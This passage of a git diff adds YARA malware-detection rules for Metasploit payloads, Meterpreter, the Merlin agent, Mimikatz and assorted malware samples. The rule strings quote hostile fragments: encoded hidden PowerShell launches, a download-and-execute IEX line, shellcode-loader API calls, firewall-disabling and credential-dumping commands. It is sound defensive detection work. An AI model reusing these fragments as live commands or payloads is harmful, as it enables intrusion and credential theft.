+      $vb642 = "IyEvdXNy"
+      // # -*-
+      $vb643 = "IyAtKi0"
+      //add_header
+      $vb644 = /(AGQAZABfAGgAZQBhAGQAZQByA|EAZABkAF8AaABlAGEAZABlAHIA|FkZF9oZWFkZX|YQBkAGQAXwBoAGUAYQBkAGUAcg|YWRkX2hlYWRlc|ZGRfaGVhZGVy)/
+
+      $fp1 = "&#10;do&#10;&#09;echo"  // Shells.plist
+      $fp2 = "<string>com.cisco.base64</string>"  // Webex
+      $fp3 = "video/mp4;base64"
+      $fp4 = "<key>Content-Length</key>"
+      $fp5 = "<string>yara</string>"
+      $fp6 = "<key>Frameworks/base64.framework</key>" ascii /* Webex */
+      $fp7 = "<key>Headers/base64.h</key>" ascii /* Webex */
+      $fp8 = "database64" ascii fullword
+      $fp9 = "<!-- last arg will be replaced by the installer script -->" ascii
+      $fp10 = "<key>/usr/local/bin/python</key>"
+      $fp11 = "<key>/usr/bin/ruby</key>"
+   condition:
+      filesize < 20KB
+      and uint32be(0) == 0x3c3f786d
+      and all of ($sr*)
+      and @sr2[1] < 0x100
+      and ( 
+        1 of ($v*) 
+        or all of ($p*) 
+      )
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_malware_set_qa.yar b/yara-Neo23x0/gen_malware_set_qa.yar
new file mode 100644
index 0000000..d832241
--- /dev/null
+++ b/yara-Neo23x0/gen_malware_set_qa.yar
@@ -0,0 +1,161 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-29
+	Identifier: VT Research QA Malware
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+/* Rules that can be used in any tool with YARA support */
+
+rule Malware_QA_not_copy {
+	meta:
+		description = "VT Research QA uploaded malware - file not copy.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "1410f38498567b64a4b984c69fe4f2859421e4ac598b9750d8f703f1d209f836"
+		id = "d618389b-ec80-5ad1-be44-4b1f3e36c07d"
+	strings:
+		$x1 = "U2VydmVyLmV4ZQ==" fullword wide /* base64 encoded string 'Server.exe' */
+		$x2 = "\\not copy\\obj\\Debug\\not copy.pdb" ascii
+		$x3 = "fuckyou888.ddns.net" fullword wide
+
+		$s1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
+		$s2 = "Server.exe" fullword wide
+		$s3 = "Execute ERROR" fullword wide
+		$s4 = "not copy.exe" fullword wide
+		$s5 = "Non HosT" fullword wide
+		$s6 = "netsh firewall delete allowedprogram" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 4 of ($s*) ) )
+		or ( 5 of them )
+}
+
+rule Malware_QA_update {
+	meta:
+		description = "VT Research QA uploaded malware - file update.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541"
+		hash2 = "6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e"
+		id = "1dce684d-33b0-5588-8325-2a34c0cde32f"
+	strings:
+		$x1 = "UnActiveOfflineKeylogger" fullword ascii
+		$x2 = "BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir...|" fullword ascii
+		$x3 = "ActiveOnlineKeylogger" fullword ascii
+		$x4 = "C:\\Users\\DarkCoderSc\\" ascii
+		$x5 = "Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
+		$x6 = "BTRESULTUpdate from URL|Update : File Downloaded , Executing new one in temp dir...|" fullword ascii
+
+		$s1 = "MSRSAAP.EXE" fullword wide
+		$s2 = "Command successfully executed!|" fullword ascii
+		$s3 = "BTMemoryLoadLibary: Get DLLEntyPoint failed" fullword ascii
+		$s4 = "I wasn't able to open the hosts file, maybe because UAC is enabled in remote computer!" fullword ascii
+		$s5 = "\\Internet Explorer\\iexplore.exe" ascii
+		$s6 = "ping 127.0.0.1 -n 4 > NUL && \"" fullword ascii
+		$s7 = "BTMemoryGetProcAddress: DLL doesn't export anything" fullword ascii
+		$s8 = "POST /index.php/1.0" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 3000KB and ( 1 of ($x*) or 3 of ($s*) ) )
+		or ( all of them )
+}
+
+rule Malware_QA_tls {
+	meta:
+		description = "VT Research QA uploaded malware - file tls.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "f06d1f2bee2eb6590afbfa7f011ceba9bd91ba31cdc721bc728e13b547ac9370"
+		id = "b3b654b1-73cf-5e04-a332-34777f646a66"
+	strings:
+		$s1 = "\\funoverip\\ultimate-payload-template1\\" ascii
+		$s2 = "ULTIMATEPAYLOADTEMPLATE1" fullword wide
+		$s3 = "ultimate-payload-template1" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them ) or ( all of them )
+}
+
+rule Malware_QA_get_The_FucKinG_IP {
+	meta:
+		description = "VT Research QA uploaded malware - file get The FucKinG IP.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "7b2c04e384919075be96e3412d92c14fc1165d1bc7556fd207488959c5c4d2f7"
+		id = "1c992fc5-79cf-532c-a18b-cfcc3406d6ed"
+	strings:
+		$x1 = "C:\\Users\\Mdram ahmed\\AppData"
+		$x2 = "\\Local\\Temporary Projects\\get The FucKinG IP\\" ascii
+		$x3 = "get The FucKinG IP.exe" fullword wide
+		$x4 = "get ip by mdr3m" fullword wide
+		$x5 = "MDR3M kik: Mdr3mhm" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule Malware_QA_vqgk {
+	meta:
+		description = "VT Research QA uploaded malware - file vqgk.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		modified = "2022-12-21"
+		score = 80
+		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
+		id = "9246d9de-92e5-5cb8-857c-1e222c3d74d5"
+	strings:
+		$x1 = "Z:\\devcenter\\aggressor\\external" ascii
+		$x2 = "\\beacon\\Release\\beacon.pdb" ascii
+		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+		$x4 = "%d is an x64 process (can't inject x86 content)" fullword ascii
+
+		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		$s2 = "Could not open process token: %d (%u)" fullword ascii
+		$s3 = "\\\\%s\\pipe\\msagent_%x" fullword ascii
+		$s4 = "\\sysnative\\rundll32.exe" ascii
+		$s5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+		$s6 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+		$s7 = "could not write to process memory: %d" fullword ascii
+		$s8 = "beacon.dll" fullword ascii
+		$s9 = "Failed to impersonate token from %d (%u)" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 5 of ($s*) ) ) or ( 7 of them )
+}
+
+rule Malware_QA_1177 {
+	meta:
+		description = "VT Research QA uploaded malware - file 1177.vbs"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "ff3a2740330a6cbae7888e7066942b53015728c367cf9725e840af5b2a3fa247"
+		id = "363228c1-f9f8-5319-91b2-7eabdd1ca3f8"
+	strings:
+		$x1 = ".specialfolders (\"startup\") & \"\\ServerName.EXE\"" fullword ascii
+		$x2 = "expandenvironmentstrings(\"%%InsallDir%%\") " ascii
+
+		$s1 = "CreateObject(\"WScript.Shell\").Run(" ascii
+		$s2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAA" ascii
+		$s3 = "cial Thank's to Dev-point.com" fullword ascii
+		$s4 = ".createElement(\"tmp\")" fullword ascii
+		$s5 = "'%CopyToStartUp%" fullword ascii
+	condition:
+		( uint16(0) == 0x4d27 and filesize < 100KB and ( 1 of ($x*) or 4 of ($s*) ) )
+		or ( 5 of them )
+}
diff --git a/yara-Neo23x0/gen_merlin_agent.yar b/yara-Neo23x0/gen_merlin_agent.yar
new file mode 100644
index 0000000..75951e5
--- /dev/null
+++ b/yara-Neo23x0/gen_merlin_agent.yar
@@ -0,0 +1,27 @@
+
+rule merlinAgent {
+	meta:
+		description = "Detects Merlin agent"
+		filetype = "pe, elf, mach"
+		author = "Hilko Bengen"
+		reference = "https://github.com/Ne0nd0g/merlin"
+		date = "2017-12-26"
+		id = "92346a3f-dce4-58db-893b-b7797fa20029"
+	strings:
+		$x1 = "Command output:\x0d\x0a\x0d\x0a%s"
+		$x2 = "[-]Connecting to web server at %s to update agent configuration information."
+		$x3 = "[-]%d out of %d total failed checkins"
+		$x4 = "[!}Unknown AgentControl message type received %s"
+		$x5 = "[-]Received Agent Kill Message"
+		$x6 = "[-]Received Server OK, doing nothing"
+		$x7 = "[!]There was an error with the HTTP client while performing a POST:"
+		$x8 = "[-]Sleeping for %s at %s"
+
+		$s1 = "Executing command %s %s %s"
+		$s2 = "[+]Host Information:"
+		$s3 = "\tHostname: %s"
+		$s4 = "\tPlatform: %s"
+		$s5 = "\tUser GUID: %s"
+	condition:
+		1 of ($x*) or 4 of them
+}
diff --git a/yara-Neo23x0/gen_metasploit_loader_rsmudge.yar b/yara-Neo23x0/gen_metasploit_loader_rsmudge.yar
new file mode 100644
index 0000000..06f8aaf
--- /dev/null
+++ b/yara-Neo23x0/gen_metasploit_loader_rsmudge.yar
@@ -0,0 +1,27 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-04-20
+	Identifier: Metasploit Loader
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Metasploit_Loader_RSMudge {
+	meta:
+		description = "Detects a Metasploit Loader by RSMudge - file loader.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/rsmudge/metasploit-loader"
+		date = "2016-04-20"
+		hash1 = "afe34bfe2215b048915b1d55324f1679d598a0741123bc24274d4edc6e395a8d"
+		id = "4d8a215e-a942-5df9-bdad-0c4158992429"
+	strings:
+		$s1 = "Could not resolve target" fullword ascii
+		$s2 = "Could not connect to target" fullword ascii
+		$s3 = "%s [host] [port]" fullword ascii
+		$s4 = "ws2_32.dll is out of date." fullword ascii
+		$s5 = "read a strange or incomplete length value" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 3 of ($s*) ) ) or ( all of them )
+}
diff --git a/yara-Neo23x0/gen_metasploit_payloads.yar b/yara-Neo23x0/gen_metasploit_payloads.yar
new file mode 100644
index 0000000..7f1f1b5
--- /dev/null
+++ b/yara-Neo23x0/gen_metasploit_payloads.yar
@@ -0,0 +1,363 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-09
+   Identifier: MSF Payloads
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Msfpayloads_msf {
+   meta:
+      description = "Metasploit Payloads - file msf.sh"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      modified = "2022-08-18"
+      hash1 = "320a01ec4e023fb5fbbaef963a2b57229e4f918847e5a49c7a3f631cb556e96c"
+      id = "c56dbb8e-1e03-5112-b2ef-a0adfd14dffa"
+   strings:
+      $s1 = "export buf=\\" ascii
+   condition:
+      filesize < 5MB and $s1
+}
+
+rule Msfpayloads_msf_2 {
+   meta:
+      description = "Metasploit Payloads - file msf.asp"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "e52f98466b92ee9629d564453af6f27bd3645e00a9e2da518f5a64a33ccf8eb5"
+      id = "ec1ae1b6-18a3-5590-ae15-1e2b362c545a"
+   strings:
+      $s1 = "& \"\\\" & \"svchost.exe\"" fullword ascii
+      $s2 = "CreateObject(\"Wscript.Shell\")" fullword ascii
+      $s3 = "<% @language=\"VBScript\" %>" fullword ascii
+   condition:
+      all of them
+}
+
+rule Msfpayloads_msf_psh {
+   meta:
+      description = "Metasploit Payloads - file msf-psh.vba"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "5cc6c7f1aa75df8979be4a16e36cece40340c6e192ce527771bdd6463253e46f"
+      id = "5b760f03-b0f8-5871-bd34-e7e44443530c"
+   strings:
+      $s1 = "powershell.exe -nop -w hidden -e" ascii
+      $s2 = "Call Shell(" ascii
+      $s3 = "Sub Workbook_Open()" fullword ascii
+   condition:
+      all of them
+}
+
+rule Msfpayloads_msf_exe {
+   meta:
+      description = "Metasploit Payloads - file msf-exe.vba"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "321537007ea5052a43ffa46a6976075cee6a4902af0c98b9fd711b9f572c20fd"
+      id = "fd07240e-0ee0-5318-a436-d97054e92414"
+   strings:
+      $s1 = "'* PAYLOAD DATA" fullword ascii
+      $s2 = " = Shell(" ascii
+      $s3 = "= Environ(\"USERPROFILE\")" fullword ascii
+      $s4 = "'**************************************************************" fullword ascii
+      $s5 = "ChDir (" ascii
+      $s6 = "'* MACRO CODE" fullword ascii
+   condition:
+      4 of them
+}
+
+rule Msfpayloads_msf_3 {
+   meta:
+      description = "Metasploit Payloads - file msf.psh"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "335cfb85e11e7fb20cddc87e743b9e777dc4ab4e18a39c2a2da1aa61efdbd054"
+      id = "ad09167f-a12a-5f07-940b-df679fa8e6c0"
+   strings:
+      $s1 = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(" ascii
+      $s2 = "public enum MemoryProtection { ExecuteReadWrite = 0x40 }" fullword ascii
+      $s3 = ".func]::VirtualAlloc(0,"
+      $s4 = ".func+AllocationType]::Reserve -bOr [" ascii
+      $s5 = "New-Object System.CodeDom.Compiler.CompilerParameters" fullword ascii
+      $s6 = "ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" fullword ascii
+      $s7 = "public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }" fullword ascii
+      $s8 = ".func]::CreateThread(0,0,$" fullword ascii
+      $s9 = "public enum Time : uint { Infinite = 0xFFFFFFFF }" fullword ascii
+      $s10 = "= [System.Convert]::FromBase64String(\"/" ascii
+      $s11 = "{ $global:result = 3; return }" fullword ascii
+   condition:
+      4 of them
+}
+
+rule Msfpayloads_msf_4 {
+   meta:
+      description = "Metasploit Payloads - file msf.aspx"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "26b3e572ba1574164b76c6d5213ab02e4170168ae2bcd2f477f246d37dbe84ef"
+      id = "00d7681b-6041-5fe1-adbb-8b7c40df0193"
+   strings:
+      $s1 = "= VirtualAlloc(IntPtr.Zero,(UIntPtr)" ascii
+      $s2 = ".Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);" ascii
+      $s3 = "[System.Runtime.InteropServices.DllImport(\"kernel32\")]" fullword ascii
+      $s4 = "private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;" fullword ascii
+      $s5 = "private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);" fullword ascii
+   condition:
+      4 of them
+}
+
+rule Msfpayloads_msf_exe_2 {
+   meta:
+      description = "Metasploit Payloads - file msf-exe.aspx"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "3a2f7a654c1100e64d8d3b4cd39165fba3b101bbcce6dd0f70dae863da338401"
+      id = "a55a33e1-8f04-5417-af0c-b7e2da36fb46"
+   strings:
+      $x1 = "= new System.Diagnostics.Process();" fullword ascii
+      $x2 = ".StartInfo.UseShellExecute = true;" fullword ascii
+      $x3 = ", \"svchost.exe\");" ascii
+      $s4 = " = Path.GetTempPath();" ascii
+   condition:
+      all of them
+}
+
+rule Msfpayloads_msf_5 {
+   meta:
+      description = "Metasploit Payloads - file msf.msi"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "7a6c66dfc998bf5838993e40026e1f400acd018bde8d4c01ef2e2e8fba507065"
+      id = "030d1982-c9a8-539d-a995-7901ae425857"
+   strings:
+      $s1 = "required to install Foobar 1.0." fullword ascii
+      $s2 = "Copyright 2009 The Apache Software Foundation." fullword wide
+      $s3 = "{50F36D89-59A8-4A40-9689-8792029113AC}" fullword ascii
+   condition:
+      all of them
+}
+
+rule Msfpayloads_msf_6 {
+   meta:
+      description = "Metasploit Payloads - file msf.vbs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "8d6f55c6715c4a2023087c3d0d7abfa21e31a629393e4dc179d31bb25b166b3f"
+      id = "5485102b-e709-5111-814a-e6878b4bd889"
+   strings:
+      $s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
+      $s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+      $s3 = ".GetSpecialFolder(2)" ascii
+      $s4 = ".Write Chr(CLng(\"" ascii
+      $s5 = "= \"4d5a90000300000004000000ffff00" ascii
+      $s6 = "For i = 1 to Len(" ascii
+      $s7  = ") Step 2" ascii
+   condition:
+      5 of them
+}
+
+rule Msfpayloads_msf_7 {
+   meta:
+      description = "Metasploit Payloads - file msf.vba"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "425beff61a01e2f60773be3fcb74bdfc7c66099fe40b9209745029b3c19b5f2f"
+      id = "8d1b742e-510a-5807-ad3f-f10cc325d292"
+   strings:
+      $s1 = "Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal" ascii
+      $s2 = "= VirtualAlloc(0, UBound(Tsw), &H1000, &H40)" fullword ascii
+      $s3 = "= RtlMoveMemory(" ascii
+   condition:
+      all of them
+}
+
+rule Msfpayloads_msf_8 {
+   meta:
+      description = "Metasploit Payloads - file msf.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "519717e01f0cb3f460ef88cd70c3de8c7f00fb7c564260bd2908e97d11fde87f"
+      id = "54466663-12ef-5fa4-a13c-e80ddbc0f4f8"
+   strings:
+      $s1 = "[DllImport(\"kernel32.dll\")]" fullword ascii
+      $s2 = "[DllImport(\"msvcrt.dll\")]" fullword ascii
+      $s3 = "-Name \"Win32\" -namespace Win32Functions -passthru" fullword ascii
+      $s4 = "::VirtualAlloc(0,[Math]::Max($" ascii
+      $s5 = ".Length,0x1000),0x3000,0x40)" ascii
+      $s6 = "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);" fullword ascii
+      $s7 = "::memset([IntPtr]($" ascii
+   condition:
+      6 of them
+}
+
+rule Msfpayloads_msf_cmd {
+   meta:
+      description = "Metasploit Payloads - file msf-cmd.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "9f41932afc9b6b4938ee7a2559067f4df34a5c8eae73558a3959dd677cb5867f"
+      id = "71d42c34-a0b0-5173-8f2f-f48a7af0e4ff"
+   strings:
+      $x1 = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e" ascii
+   condition:
+      all of them
+}
+
+rule Msfpayloads_msf_9 {
+   meta:
+      description = "Metasploit Payloads - file msf.war - contents"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81"
+      id = "488a2e97-ebc2-5ccf-ab5d-dfed4b534b52"
+   strings:
+      $s1 = "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1)" fullword ascii
+      $s2 = ".concat(\".exe\");" fullword ascii
+      $s3 = "[0] = \"chmod\";" ascii
+      $s4 = "= Runtime.getRuntime().exec(" ascii
+      $s5 = ", 16) & 0xff;" ascii
+
+      $x1 = "4d5a9000030000000" ascii
+   condition:
+      4 of ($s*) or (
+         uint32(0) == 0x61356434 and $x1 at 0
+      )
+}
+
+rule Msfpayloads_msf_10 {
+   meta:
+      description = "Metasploit Payloads - file msf.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "3cd74fa28323c0d64f45507675ac08fb09bae4dd6b7e11f2832a4fbc70bb7082"
+      id = "3bc3b66a-9f8a-55c2-ae2a-00faa778cef7"
+   strings:
+      $s1 = { 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 }
+      $s2 = { 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b }
+      $s3 = { 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule Msfpayloads_msf_svc {
+   meta:
+      description = "Metasploit Payloads - file msf-svc.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "2b02c9c10577ee0c7590d3dadc525c494122747a628a7bf714879b8e94ae5ea1"
+      id = "45d1c527-1f90-50f3-8e64-e77d69386b0a"
+   strings:
+      $s1 = "PAYLOAD:" fullword ascii
+      $s2 = ".exehll" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 50KB and all of them )
+}
+
+rule Msfpayloads_msf_11 {
+   meta:
+      description = "Metasploit Payloads - file msf.hta"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "d1daf7bc41580322333a893133d103f7d67f5cd8a3e0f919471061d41cf710b6"
+      id = "59b0cced-ffdc-5f2f-878c-856883ee275f"
+   strings:
+      $s1 = ".ExpandEnvironmentStrings(\"%PSModulePath%\") + \"..\\powershell.exe\") Then" fullword ascii
+      $s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+      $s3 = "= CreateObject(\"Wscript.Shell\") " fullword ascii
+   condition:
+      all of them
+}
+
+rule Msfpayloads_msf_ref {
+   meta:
+      description = "Metasploit Payloads - file msf-ref.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-02-09"
+      hash1 = "4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87"
+      id = "517ed365-03c6-5563-984b-dae10464671a"
+   strings:
+      $s1 = "kernel32.dll WaitForSingleObject)," ascii
+      $s2 = "= ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')" ascii
+      $s3 = "GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object" ascii
+      $s4 = ".DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual'," ascii
+      $s5 = "= [System.Convert]::FromBase64String(" ascii
+      $s6 = "[Parameter(Position = 0, Mandatory = $True)] [Type[]]" fullword ascii
+      $s7 = "DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard," ascii
+   condition:
+      5 of them
+}
+
+rule MAL_Metasploit_Framework_UA {
+   meta:
+      description = "Detects User Agent used in Metasploit Framework"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/rapid7/metasploit-framework/commit/12a6d67be48527f5d3987e40cac2a0cbb4ab6ce7"
+      date = "2018-08-16"
+      score = 65
+      hash1 = "1743e1bd4176ffb62a1a0503a0d76033752f8bd34f6f09db85c2979c04bbdd29"
+      id = "e5a18456-3a07-5b58-ad95-086152298a1f"
+   strings:
+      $s3 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and 1 of them
+}
+
+rule HKTL_Meterpreter_inMemory {
+   meta:
+      description = "Detects Meterpreter in-memory"
+      author = "netbiosX, Florian Roth"
+      reference = "https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/"
+      date = "2020-06-29"
+      modified = "2023-04-21"
+      score = 85
+      id = "29c3bb7e-4da8-5924-ada7-2f28d9352009"
+   strings: 
+      $sxc1 = { 6D 65 74 73 72 76 2E 64 6C 6C 00 00 52 65 66 6C 
+               65 63 74 69 76 65 4C 6F 61 64 65 72 }
+      $sxs1 = "metsrv.x64.dll" ascii fullword
+      $ss1 = "WS2_32.dll" ascii fullword
+      $ss2 = "ReflectiveLoader" ascii fullword
+
+      $fp1 = "SentinelOne" ascii wide
+      $fp2 = "fortiESNAC" ascii wide
+      $fp3 = "PSNMVHookMS" ascii wide
+   condition: 
+      ( 1 of ($sx*) or 2 of ($s*) )
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_mimikatz.yar b/yara-Neo23x0/gen_mimikatz.yar
new file mode 100644
index 0000000..bba91dd
--- /dev/null
+++ b/yara-Neo23x0/gen_mimikatz.yar
@@ -0,0 +1,239 @@
+import "pe"
+
+/* Mimikatz */
+
+rule Mimikatz_Memory_Rule_1 : APT {
+   meta:
+      author = "Florian Roth"
+      date = "2014-12-22"
+      modified = "2023-07-04"
+      score = 70
+      nodeepdive = 1
+      description = "Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures)"
+      id = "55cc7129-5ea0-5545-a8f6-b5306a014dd0"
+   strings:
+      $s1 = "sekurlsa::wdigest" fullword ascii
+      $s2 = "sekurlsa::logonPasswords" fullword ascii
+      $s3 = "sekurlsa::minidump" fullword ascii
+      $s4 = "sekurlsa::credman" fullword ascii
+
+      $fp1 = "\"x_mitre_version\": " ascii
+      $fp2 = "{\"type\":\"bundle\","
+      $fp3 = "use strict" ascii fullword
+      $fp4 = "\"url\":\"https://attack.mitre.org/" ascii
+   condition:
+      1 of ($s*) and not 1 of ($fp*)
+}
+
+/* we have much better rules now
+rule Mimikatz_Memory_Rule_2 : APT {
+   meta:
+      description = "Mimikatz Rule generated from a memory dump"
+      author = "Florian Roth (Nextron Systems) - Florian Roth"
+      score = 75
+      date = "2014-12-22"
+      modified = "2023-05-19"
+      reference = "https://blog.gentilkiwi.com/mimikatz"
+   strings:
+      $s0 = "sekurlsa::" ascii
+      $x1 = "cryptprimitives.pdb" ascii
+      $x2 = "Now is t1O" ascii fullword
+      $x4 = "ALICE123" ascii
+      $x5 = "BOBBY456" ascii
+   condition:
+      $s0 and 1 of ($x*)
+}
+*/
+
+rule mimikatz : FILE {
+   meta:
+      description      = "mimikatz"
+      author         = "Benjamin DELPY (gentilkiwi)"
+      tool_author      = "Benjamin DELPY (gentilkiwi)"
+      modified = "2022-11-16"
+      id = "840a5b8c-a311-50bc-a099-6b8ab1492e12"
+   strings:
+      $exe_x86_1      = { 89 71 04 89 [0-3] 30 8d 04 bd }
+      $exe_x86_2      = { 8b 4d e? 8b 45 f4 89 75 e? 89 01 85 ff 74 }
+
